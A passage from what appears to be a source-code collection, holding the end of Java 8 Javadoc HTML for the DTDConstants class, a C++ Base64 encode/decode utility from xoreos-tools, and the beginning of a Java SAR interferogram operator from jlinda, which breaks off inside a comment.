<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.ANY">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="FIXED">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>FIXED</h4>
<pre>static final int FIXED</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.FIXED">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="REQUIRED">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>REQUIRED</h4>
<pre>static final int REQUIRED</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.REQUIRED">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="CURRENT">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CURRENT</h4>
<pre>static final int CURRENT</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.CURRENT">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="CONREF">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CONREF</h4>
<pre>static final int CONREF</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.CONREF">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="IMPLIED">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>IMPLIED</h4>
<pre>static final int IMPLIED</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.IMPLIED">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="PUBLIC">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>PUBLIC</h4>
<pre>static final int PUBLIC</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.PUBLIC">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="SDATA">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>SDATA</h4>
<pre>static final int SDATA</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.SDATA">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="PI">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>PI</h4>
<pre>static final int PI</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.PI">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="STARTTAG">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>STARTTAG</h4>
<pre>static final int STARTTAG</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.STARTTAG">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="ENDTAG">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>ENDTAG</h4>
<pre>static final int ENDTAG</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.ENDTAG">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="MS">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>MS</h4>
<pre>static final int MS</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.MS">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="MD">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>MD</h4>
<pre>static final int MD</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.MD">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="SYSTEM">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>SYSTEM</h4>
<pre>static final int SYSTEM</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.SYSTEM">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="GENERAL">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>GENERAL</h4>
<pre>static final int GENERAL</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.GENERAL">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="DEFAULT">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>DEFAULT</h4>
<pre>static final int DEFAULT</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.DEFAULT">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="PARAMETER">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>PARAMETER</h4>
<pre>static final int PARAMETER</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.PARAMETER">Constant Field Values</a></dd>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/DTDConstants.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
<div class="aboutLanguage"><strong>Java™ Platform<br>Standard Ed. 8</strong></div>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../javax/swing/text/html/parser/DTD.html" title="class in javax.swing.text.html.parser"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../javax/swing/text/html/parser/Element.html" title="class in javax.swing.text.html.parser"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?javax/swing/text/html/parser/DTDConstants.html" target="_top">Frames</a></li>
<li><a href="DTDConstants.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field.summary">Field</a> | </li>
<li>Constr | </li>
<li>Method</li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field.detail">Field</a> | </li>
<li>Constr | </li>
<li>Method</li>
</ul>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small><font size="-1"> <a href="http://bugreport.sun.com/bugreport/">Submit a bug or feature</a> <br>For further API reference and developer documentation, see <a href="http://download.oracle.com/javase/8/docs/index.html" target="_blank">Java SE Documentation</a>. That documentation contains more detailed, developer-targeted descriptions, with conceptual overviews, definitions of terms, workarounds, and working code examples.<br> Copyright © 1993, 2014, Oracle and/or its affiliates. All rights reserved. </font></small></p>
</body>
</html>
| DeanAaron/jdk8 | jdk8en_us/docs/api/javax/swing/text/html/parser/DTDConstants.html | HTML | gpl-3.0 | 30,686 |
/* xoreos-tools - Tools to help with xoreos development
*
* xoreos-tools is the legal property of its developers, whose names
* can be found in the AUTHORS file distributed with this source
* distribution.
*
* xoreos-tools is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 3
* of the License, or (at your option) any later version.
*
* xoreos-tools is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with xoreos-tools. If not, see <http://www.gnu.org/licenses/>.
*/
/** @file
* Base64 encoding and decoding.
*/
#include <cassert>
#include <memory>
#include "src/common/base64.h"
#include "src/common/ustring.h"
#include "src/common/error.h"
#include "src/common/readstream.h"
#include "src/common/memreadstream.h"
#include "src/common/memwritestream.h"
namespace Common {
static const char kBase64Char[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const uint8_t kBase64Values[128] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0xFF, 0xFF, 0xFF, 0x3F,
0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E,
0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28,
0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
/** Write a character into our base64 string, and update the remaining
* string length.
*
* Returns false if we ran out of remaining characters in this string.
*/
static bool writeCharacter(UString &base64, uint32_t c, size_t &maxLength) {
assert(maxLength > 0);
base64 += c;
return --maxLength > 0;
}
/** Write multiple characters into our base64 string, and update the remaining
* string length.
*
* Returns false if we ran out of remaining characters in this string.
*/
static bool writeCharacters(UString &base64, UString &str, size_t &lineLength) {
while (!str.empty()) {
writeCharacter(base64, *str.begin(), lineLength);
str.erase(str.begin());
if (lineLength == 0)
return false;
}
return lineLength > 0;
}
/** Find the raw value of a base64-encoded character. */
static uint8_t findCharacterValue(uint32_t c) {
if ((c >= 128) || (kBase64Values[c] > 0x3F))
throw Exception("Invalid base64 character");
return kBase64Values[c];
}
/** Encode data into base64 and write the result into the string, but only up
* to maxLength characters.
*
* The string overhang is and input/output string of both the overhang from
* the previous run of this function (which will get written into the base64
* string first) and the newly produced overhang.
*
* Returns false if we have written all data there is to write, both from the
* overhang and the input data stream.
*/
static bool encodeBase64(ReadStream &data, UString &base64, size_t maxLength, UString &overhang) {
if (maxLength == 0)
throw Exception("Invalid base64 max line length");
// First write the overhang, and return if we already maxed out the length there
if (!writeCharacters(base64, overhang, maxLength))
return true;
overhang.clear();
uint8_t n;
byte input[3];
// Read up to 3 characters at a time
while ((n = data.read(input, 3)) != 0) {
uint32_t code = 0;
// Concat the input characters
for (uint8_t i = 0; i < n; i++)
code |= input[i] << (24 - i * 8);
// Create up to 4 6-bit base64-characters out of them
for (uint8_t i = 0; i < (n + 1); i++) {
overhang += kBase64Char[(code >> 26) & 0x0000003F];
code <<= 6;
}
// Add padding
for (int i = 0; i < (3 - n); i++)
overhang += '=';
// Write the base64 characters into the string, and return if we maxed out the length
if (!writeCharacters(base64, overhang, maxLength))
return true;
overhang.clear();
}
// We reached the end of input the data
return false;
}
static void decodeBase64(WriteStream &data, const UString &base64, UString &overhang) {
assert(overhang.size() < 4);
for (UString::iterator c = base64.begin(); c != base64.end(); ++c) {
if ((*c != '=') && ((*c >= 128) || (kBase64Values[*c] > 0x3F)))
continue;
overhang += *c;
if (overhang.size() == 4) {
uint32_t code = 0;
uint8_t n = 0;
for (UString::iterator o = overhang.begin(); o != overhang.end(); ++o) {
code <<= 6;
if (*o != '=') {
code += findCharacterValue(*o);
n += 6;
}
}
for (size_t i = 0; i < (n / 8); i++, code <<= 8)
data.writeByte((byte) ((code & 0x00FF0000) >> 16));
overhang.clear();
}
}
}
static size_t countLength(const UString &str, bool partial = false) {
size_t dataLength = 0;
for (const auto &c : str) {
if ((c == '=') || ((c < 128) && kBase64Values[c] <= 0x3F))
++dataLength;
}
if (!partial)
if ((dataLength % 4) != 0)
throw Exception("Invalid length for a base64-encoded string");
return dataLength;
}
static size_t countLength(const std::list<UString> &str) {
size_t dataLength = 0;
for (const auto &s : str)
dataLength += countLength(s, true);
if ((dataLength % 4) != 0)
throw Exception("Invalid length for a base64-encoded string");
return dataLength;
}
void encodeBase64(ReadStream &data, UString &base64) {
UString overhang;
encodeBase64(data, base64, SIZE_MAX, overhang);
}
void encodeBase64(ReadStream &data, std::list<UString> &base64, size_t lineLength) {
UString overhang;
// Base64-encode the data, creating a new string after every lineLength characters
do {
base64.push_back(UString());
} while (encodeBase64(data, base64.back(), lineLength, overhang));
// Trim empty strings from the back
while (!base64.empty() && base64.back().empty())
base64.pop_back();
}
SeekableReadStream *decodeBase64(const UString &base64) {
const size_t dataLength = (countLength(base64) / 4) * 3;
std::unique_ptr<byte[]> data = std::make_unique<byte[]>(dataLength);
MemoryWriteStream output(data.get(), dataLength);
UString overhang;
decodeBase64(output, base64, overhang);
return new MemoryReadStream(data.release(), output.pos(), true);
}
SeekableReadStream *decodeBase64(const std::list<UString> &base64) {
const size_t dataLength = (countLength(base64) / 4) * 3;
std::unique_ptr<byte[]> data = std::make_unique<byte[]>(dataLength);
MemoryWriteStream output(data.get(), dataLength);
UString overhang;
for (std::list<UString>::const_iterator b = base64.begin(); b != base64.end(); ++b)
decodeBase64(output, *b, overhang);
return new MemoryReadStream(data.release(), output.pos(), true);
}
} // End of namespace Common
| xoreos/xoreos-tools | src/common/base64.cpp | C++ | gpl-3.0 | 7,266 |
package org.jlinda.nest.gpf;
import com.bc.ceres.core.ProgressMonitor;
import org.apache.commons.math3.util.FastMath;
import org.esa.beam.framework.datamodel.Band;
import org.esa.beam.framework.datamodel.MetadataElement;
import org.esa.beam.framework.datamodel.Product;
import org.esa.beam.framework.datamodel.ProductData;
import org.esa.beam.framework.gpf.Operator;
import org.esa.beam.framework.gpf.OperatorException;
import org.esa.beam.framework.gpf.OperatorSpi;
import org.esa.beam.framework.gpf.Tile;
import org.esa.beam.framework.gpf.annotations.OperatorMetadata;
import org.esa.beam.framework.gpf.annotations.Parameter;
import org.esa.beam.framework.gpf.annotations.SourceProduct;
import org.esa.beam.framework.gpf.annotations.TargetProduct;
import org.esa.beam.util.ProductUtils;
import org.esa.snap.datamodel.AbstractMetadata;
import org.esa.snap.datamodel.Unit;
import org.esa.snap.gpf.OperatorUtils;
import org.esa.snap.gpf.ReaderUtils;
import org.jblas.ComplexDoubleMatrix;
import org.jblas.DoubleMatrix;
import org.jblas.MatrixFunctions;
import org.jblas.Solve;
import org.jlinda.core.Orbit;
import org.jlinda.core.SLCImage;
import org.jlinda.core.Window;
import org.jlinda.core.utils.MathUtils;
import org.jlinda.core.utils.PolyUtils;
import org.jlinda.core.utils.SarUtils;
import org.jlinda.nest.utils.BandUtilsDoris;
import org.jlinda.nest.utils.CplxContainer;
import org.jlinda.nest.utils.ProductContainer;
import org.jlinda.nest.utils.TileUtilsDoris;
import java.awt.*;
import java.util.HashMap;
import java.util.Map;
@OperatorMetadata(alias = "Interferogram",
category = "SAR Processing/Interferometric/Products",
authors = "Petar Marinkovic",
copyright = "Copyright (C) 2013 by PPO.labs",
description = "Compute interferograms from stack of coregistered images : JBLAS implementation")
public class InterferogramOp extends Operator {
@SourceProduct
private Product sourceProduct;
@TargetProduct
private Product targetProduct;
@Parameter(valueSet = {"1", "2", "3", "4", "5", "6", "7", "8"},
description = "Order of 'Flat earth phase' polynomial",
defaultValue = "5",
label = "Degree of \"Flat Earth\" polynomial")
private int srpPolynomialDegree = 5;
@Parameter(valueSet = {"301", "401", "501", "601", "701", "801", "901", "1001"},
description = "Number of points for the 'flat earth phase' polynomial estimation",
defaultValue = "501",
label = "Number of 'Flat earth' estimation points")
private int srpNumberPoints = 501;
@Parameter(valueSet = {"1", "2", "3", "4", "5"},
description = "Degree of orbit (polynomial) interpolator",
defaultValue = "3",
label = "Orbit interpolation degree")
private int orbitDegree = 3;
@Parameter(defaultValue="false", label="Do NOT subtract flat-earth phase from interferogram.")
private boolean doNotSubtract = false;
// flat_earth_polynomial container
private HashMap<String, DoubleMatrix> flatEarthPolyMap = new HashMap<String, DoubleMatrix>();
// source
private HashMap<Integer, CplxContainer> masterMap = new HashMap<Integer, CplxContainer>();
private HashMap<Integer, CplxContainer> slaveMap = new HashMap<Integer, CplxContainer>();
// target
private HashMap<String, ProductContainer> targetMap = new HashMap<String, ProductContainer>();
// operator tags
private static final boolean CREATE_VIRTUAL_BAND = true;
private String productName;
public String productTag;
private int sourceImageWidth;
private int sourceImageHeight;
/**
* Initializes this operator and sets the one and only target product.
* <p>The target product can be either defined by a field of type {@link org.esa.beam.framework.datamodel.Product} annotated with the
* {@link org.esa.beam.framework.gpf.annotations.TargetProduct TargetProduct} annotation or
* by calling {@link #setTargetProduct} method.</p>
* <p>The framework calls this method after it has created this operator.
* Any client code that must be performed before computation of tile data
* should be placed here.</p>
*
* @throws org.esa.beam.framework.gpf.OperatorException
* If an error occurs during operator initialisation.
* @see #getTargetProduct()
*/
@Override
public void initialize() throws OperatorException {
try {
// rename product if no subtraction of the flat-earth phase
if (doNotSubtract) {
productName = "ifgs";
productTag = "ifg";
} else {
productName = "srp_ifgs";
productTag = "ifg_srp";
}
checkUserInput();
constructSourceMetadata();
constructTargetMetadata();
createTargetProduct();
// final String[] masterBandNames = sourceProduct.getBandNames();
// for (int i = 0; i < masterBandNames.length; i++) {
// if (masterBandNames[i].contains("mst")) {
// masterBand1 = sourceProduct.getBand(masterBandNames[i]);
// if (masterBand1.getUnit() != null && masterBand1.getUnit().equals(Unit.REAL)) {
// masterBand2 = sourceProduct.getBand(masterBandNames[i + 1]);
// }
// break;
// }
// }
//
// getMetadata();
getSourceImageDimension();
if (!doNotSubtract) {
constructFlatEarthPolynomials();
}
} catch (Exception e) {
throw new OperatorException(e);
}
}
private void getSourceImageDimension() {
sourceImageWidth = sourceProduct.getSceneRasterWidth();
sourceImageHeight = sourceProduct.getSceneRasterHeight();
}
private void constructFlatEarthPolynomials() throws Exception {
for (Integer keyMaster : masterMap.keySet()) {
CplxContainer master = masterMap.get(keyMaster);
for (Integer keySlave : slaveMap.keySet()) {
CplxContainer slave = slaveMap.get(keySlave);
flatEarthPolyMap.put(slave.name, estimateFlatEarthPolynomial(master.metaData, master.orbit, slave.metaData, slave.orbit));
}
}
}
private void constructTargetMetadata() {
for (Integer keyMaster : masterMap.keySet()) {
CplxContainer master = masterMap.get(keyMaster);
for (Integer keySlave : slaveMap.keySet()) {
// generate name for product bands
final String productName = keyMaster.toString() + "_" + keySlave.toString();
final CplxContainer slave = slaveMap.get(keySlave);
final ProductContainer product = new ProductContainer(productName, master, slave, true);
product.targetBandName_I = "i_" + productTag + "_" + master.date + "_" + slave.date;
product.targetBandName_Q = "q_" + productTag + "_" + master.date + "_" + slave.date;
// put ifg-product bands into map
targetMap.put(productName, product);
}
}
}
private void constructSourceMetadata() throws Exception {
// define sourceMaster/sourceSlave name tags
final String masterTag = "mst";
final String slaveTag = "slv";
// get sourceMaster & sourceSlave MetadataElement
final MetadataElement masterMeta = AbstractMetadata.getAbstractedMetadata(sourceProduct);
final String slaveMetadataRoot = AbstractMetadata.SLAVE_METADATA_ROOT;
/* organize metadata */
// put sourceMaster metadata into the masterMap
metaMapPut(masterTag, masterMeta, sourceProduct, masterMap);
// plug sourceSlave metadata into slaveMap
MetadataElement slaveElem = sourceProduct.getMetadataRoot().getElement(slaveMetadataRoot);
if(slaveElem == null) {
slaveElem = sourceProduct.getMetadataRoot().getElement("Slave Metadata");
}
MetadataElement[] slaveRoot = slaveElem.getElements();
for (MetadataElement meta : slaveRoot) {
metaMapPut(slaveTag, meta, sourceProduct, slaveMap);
}
}
private void metaMapPut(final String tag,
final MetadataElement root,
final Product product,
final HashMap<Integer, CplxContainer> map) throws Exception {
// TODO: include polarization flags/checks!
// pull out band names for this product
final String[] bandNames = product.getBandNames();
final int numOfBands = bandNames.length;
// map key: ORBIT NUMBER
int mapKey = root.getAttributeInt(AbstractMetadata.ABS_ORBIT);
// metadata: construct classes and define bands
final String date = OperatorUtils.getAcquisitionDate(root);
final SLCImage meta = new SLCImage(root);
final Orbit orbit = new Orbit(root, orbitDegree);
// TODO: resolve multilook factors
meta.setMlAz(1);
meta.setMlRg(1);
Band bandReal = null;
Band bandImag = null;
for (int i = 0; i < numOfBands; i++) {
String bandName = bandNames[i];
if (bandName.contains(tag) && bandName.contains(date)) {
final Band band = product.getBandAt(i);
if (BandUtilsDoris.isBandReal(band)) {
bandReal = band;
} else if (BandUtilsDoris.isBandImag(band)) {
bandImag = band;
}
}
}
try {
map.put(mapKey, new CplxContainer(date, meta, orbit, bandReal, bandImag));
} catch (Exception e) {
e.printStackTrace();
}
}
private void createTargetProduct() {
// construct target product
targetProduct = new Product(productName,
sourceProduct.getProductType(),
sourceProduct.getSceneRasterWidth(),
sourceProduct.getSceneRasterHeight());
ProductUtils.copyProductNodes(sourceProduct, targetProduct);
for (final Band band : targetProduct.getBands()) {
targetProduct.removeBand(band);
}
for (String key : targetMap.keySet()) {
String targetBandName_I = targetMap.get(key).targetBandName_I;
targetProduct.addBand(targetBandName_I, ProductData.TYPE_FLOAT32);
targetProduct.getBand(targetBandName_I).setUnit(Unit.REAL);
String targetBandName_Q = targetMap.get(key).targetBandName_Q;
targetProduct.addBand(targetBandName_Q, ProductData.TYPE_FLOAT32);
targetProduct.getBand(targetBandName_Q).setUnit(Unit.IMAGINARY);
final String tag0 = targetMap.get(key).sourceMaster.date;
final String tag1 = targetMap.get(key).sourceSlave.date;
if (CREATE_VIRTUAL_BAND) {
String countStr = "_" + productTag + "_" + tag0 + "_" + tag1;
ReaderUtils.createVirtualIntensityBand(targetProduct, targetProduct.getBand(targetBandName_I), targetProduct.getBand(targetBandName_Q), countStr);
ReaderUtils.createVirtualPhaseBand(targetProduct, targetProduct.getBand(targetBandName_I), targetProduct.getBand(targetBandName_Q), countStr);
}
}
// For testing: the optimal results with 1024x1024 pixels tiles, not clear whether it's platform dependent?
// targetProduct.setPreferredTileSize(512, 512);
}
private void checkUserInput() throws OperatorException {
// check for the logic in input paramaters
final MetadataElement masterMeta = AbstractMetadata.getAbstractedMetadata(sourceProduct);
final int isCoregStack = masterMeta.getAttributeInt(AbstractMetadata.coregistered_stack);
if (isCoregStack != 1) {
throw new OperatorException("Input should be a coregistered SLC stack");
}
}
private DoubleMatrix estimateFlatEarthPolynomial(SLCImage masterMetadata, Orbit masterOrbit, SLCImage slaveMetadata, Orbit slaveOrbit) throws Exception {
// estimation window : this works only for NEST "crop" logic
// long minLine = masterMetadata.getCurrentWindow().linelo;
// long maxLine = masterMetadata.getCurrentWindow().linehi;
// long minPixel = masterMetadata.getCurrentWindow().pixlo;
// long maxPixel = masterMetadata.getCurrentWindow().pixhi;
long minLine = 0;
long maxLine = sourceImageHeight;
long minPixel = 0;
long maxPixel = sourceImageWidth;
int numberOfCoefficients = PolyUtils.numberOfCoefficients(srpPolynomialDegree);
int[][] position = MathUtils.distributePoints(srpNumberPoints, new Window(minLine,maxLine,minPixel,maxPixel));
// setup observation and design matrix
DoubleMatrix y = new DoubleMatrix(srpNumberPoints);
DoubleMatrix A = new DoubleMatrix(srpNumberPoints, numberOfCoefficients);
double masterMinPi4divLam = (-4 * Math.PI * org.jlinda.core.Constants.SOL) / masterMetadata.getRadarWavelength();
double slaveMinPi4divLam = (-4 * Math.PI * org.jlinda.core.Constants.SOL) / slaveMetadata.getRadarWavelength();
// Loop through vector or distributedPoints()
for (int i = 0; i < srpNumberPoints; ++i) {
double line = position[i][0];
double pixel = position[i][1];
// compute azimuth/range time for this pixel
final double masterTimeRange = masterMetadata.pix2tr(pixel + 1);
// compute xyz of this point : sourceMaster
org.jlinda.core.Point xyzMaster = masterOrbit.lp2xyz(line + 1, pixel + 1, masterMetadata);
org.jlinda.core.Point slaveTimeVector = slaveOrbit.xyz2t(xyzMaster, slaveMetadata);
final double slaveTimeRange = slaveTimeVector.x;
// observation vector
y.put(i, (masterMinPi4divLam * masterTimeRange) - (slaveMinPi4divLam * slaveTimeRange));
// set up a system of equations
// ______Order unknowns: A00 A10 A01 A20 A11 A02 A30 A21 A12 A03 for degree=3______
double posL = PolyUtils.normalize2(line, minLine, maxLine);
double posP = PolyUtils.normalize2(pixel, minPixel, maxPixel);
int index = 0;
for (int j = 0; j <= srpPolynomialDegree; j++) {
for (int k = 0; k <= j; k++) {
A.put(i, index, (FastMath.pow(posL, (double) (j - k)) * FastMath.pow(posP, (double) k)));
index++;
}
}
}
// Fit polynomial through computed vector of phases
DoubleMatrix Atranspose = A.transpose();
DoubleMatrix N = Atranspose.mmul(A);
DoubleMatrix rhs = Atranspose.mmul(y);
// this should be the coefficient of the reference phase
// flatEarthPolyCoefs = Solve.solve(N, rhs);
return Solve.solve(N, rhs);
}
/**
* Called by the framework in order to compute a tile for the given target band.
* <p>The default implementation throws a runtime exception with the message "not implemented".</p>
*
* @param targetTileMap The target tiles associated with all target bands to be computed.
* @param targetRectangle The rectangle of target tile.
* @param pm A progress monitor which should be used to determine computation cancelation requests.
* @throws org.esa.beam.framework.gpf.OperatorException
* If an error occurs during computation of the target raster.
*/
@Override
public void computeTileStack(Map<Band, Tile> targetTileMap, Rectangle targetRectangle, ProgressMonitor pm)
throws OperatorException {
try {
int y0 = targetRectangle.y;
int yN = y0 + targetRectangle.height - 1;
int x0 = targetRectangle.x;
int xN = targetRectangle.x + targetRectangle.width - 1;
final Window tileWindow = new Window(y0, yN, x0, xN);
// Band flatPhaseBand;
Band targetBand_I;
Band targetBand_Q;
for (String ifgKey : targetMap.keySet()) {
ProductContainer product = targetMap.get(ifgKey);
/// check out results from source ///
Tile tileReal = getSourceTile(product.sourceMaster.realBand, targetRectangle);
Tile tileImag = getSourceTile(product.sourceMaster.imagBand, targetRectangle);
ComplexDoubleMatrix complexMaster = TileUtilsDoris.pullComplexDoubleMatrix(tileReal, tileImag);
/// check out results from source ///
tileReal = getSourceTile(product.sourceSlave.realBand, targetRectangle);
tileImag = getSourceTile(product.sourceSlave.imagBand, targetRectangle);
ComplexDoubleMatrix complexSlave = TileUtilsDoris.pullComplexDoubleMatrix(tileReal, tileImag);
// if (srpPolynomialDegree > 0) {
if (!doNotSubtract) {
// normalize range and azimuth axis
DoubleMatrix rangeAxisNormalized = DoubleMatrix.linspace(x0, xN, complexMaster.columns);
rangeAxisNormalized = normalizeDoubleMatrix(rangeAxisNormalized, sourceImageWidth);
DoubleMatrix azimuthAxisNormalized = DoubleMatrix.linspace(y0, yN, complexMaster.rows);
azimuthAxisNormalized = normalizeDoubleMatrix(azimuthAxisNormalized, sourceImageHeight);
// pull polynomial from the map
DoubleMatrix polyCoeffs = flatEarthPolyMap.get(product.sourceSlave.name);
// estimate the phase on the grid
DoubleMatrix realReferencePhase =
PolyUtils.polyval(azimuthAxisNormalized, rangeAxisNormalized,
polyCoeffs, PolyUtils.degreeFromCoefficients(polyCoeffs.length));
// compute the reference phase
ComplexDoubleMatrix complexReferencePhase =
new ComplexDoubleMatrix(MatrixFunctions.cos(realReferencePhase),
MatrixFunctions.sin(realReferencePhase));
complexSlave.muli(complexReferencePhase); // no conjugate here!
}
SarUtils.computeIfg_inplace(complexMaster, complexSlave.conji());
/// commit to target ///
targetBand_I = targetProduct.getBand(product.targetBandName_I);
Tile tileOutReal = targetTileMap.get(targetBand_I);
TileUtilsDoris.pushDoubleMatrix(complexMaster.real(), tileOutReal, targetRectangle);
targetBand_Q = targetProduct.getBand(product.targetBandName_Q);
Tile tileOutImag = targetTileMap.get(targetBand_Q);
TileUtilsDoris.pushDoubleMatrix(complexMaster.imag(), tileOutImag, targetRectangle);
}
} catch (Throwable e) {
OperatorUtils.catchOperatorException(getId(), e);
}
}
private DoubleMatrix normalizeDoubleMatrix(DoubleMatrix matrix, int factor) {
matrix.subi(0.5 * (factor - 1));
matrix.divi(0.25 * (factor - 1));
return matrix;
}
/**
* The SPI is used to register this operator in the graph processing framework
* via the SPI configuration file
* {@code META-INF/services/org.esa.beam.framework.gpf.OperatorSpi}.
* This class may also serve as a factory for new operator instances.
*
